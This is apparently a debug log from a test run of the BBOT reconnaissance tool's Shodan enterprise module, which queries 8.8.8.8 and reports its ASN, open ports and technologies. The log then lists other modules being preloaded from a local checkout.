bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,138 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:14:13,140 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:14:13,141 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:14:13,141 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,143 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:14:13,144 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:14:13,145 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:14:13,147 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:14:13,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:14:13,150 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:14:13,151 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:14:13,155 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,156 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:14:13,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,157 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:14:13,158 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:14:13,159 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,163 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:14:13,267 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:14:13,276 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-02-27 22:14:13,277 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:14:13,278 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:2e0bd2c30017dfcff272681278b5de28b49a431e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:14:13,278 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-02-27 22:14:13,279 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-02-27 22:14:13,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:14:13,280 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:14:13,281 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:14:13,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:14:13,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,283 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:14:13,283 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:14:13,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,285 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:14:13,286 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:14:13,286 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,288 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:14:13,288 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,289 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,289 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:14:13,289 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,291 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,292 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,294 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:14:13,294 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,296 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,298 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) +2026-02-27 22:14:13,299 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded +2026-02-27 22:14:13,299 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:14:13,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target +2026-02-27 22:14:13,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,304 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:14:13,305 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,306 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,307 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:14:13,307 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,308 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,309 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:14:13,309 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,310 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,310 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:14:13,311 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:14:13,312 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:14:13,312 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,313 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 22:14:13,313 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded +2026-02-27 22:14:13,380 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:14:13,381 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:14:13,381 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise +2026-02-27 22:14:13,382 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check +2026-02-27 22:14:13,382 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:14:13,383 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,384 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:14:13,384 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:14:13,385 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise +2026-02-27 22:14:13,385 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 22:14:13,386 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:14:13,388 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:14:13,389 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:14:13,389 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:14:13,390 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:14:13,390 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:14:13,391 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:14:13,391 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:14:13,492 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:14:13,493 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:14:13,511 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:14:13,512 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:14:13,512 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:14:13,525 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:14:13,526 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:14:13,527 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:14:13,528 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:14:13,529 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:14:13,530 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:14:13,647 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_yq29unrqwa completed in 0 seconds with status FINISHED +2026-02-27 22:14:13,648 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:14:13,649 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:14:13,650 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:14:13,651 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:15:09,243 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:15:09,257 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:15:09,259 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:15:09,260 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:15:09,262 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:15:09,264 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:15:09,265 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:15:09,266 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:15:09,267 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:15:09,268 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:15:09,269 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:15:09,270 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:15:09,271 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:15:09,275 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:15:09,276 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:15:09,281 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:15:09,282 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:15:09,285 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:15:09,286 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:15:09,288 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:15:09,289 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:15:09,291 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:15:09,292 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:15:09,293 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:15:09,293 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:15:09,295 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:15:09,296 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:15:09,297 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:15:09,298 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:15:09,299 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:15:09,300 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:15:09,301 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:15:09,302 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:15:09,303 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:15:09,304 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:15:09,305 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:15:09,311 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:15:09,313 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 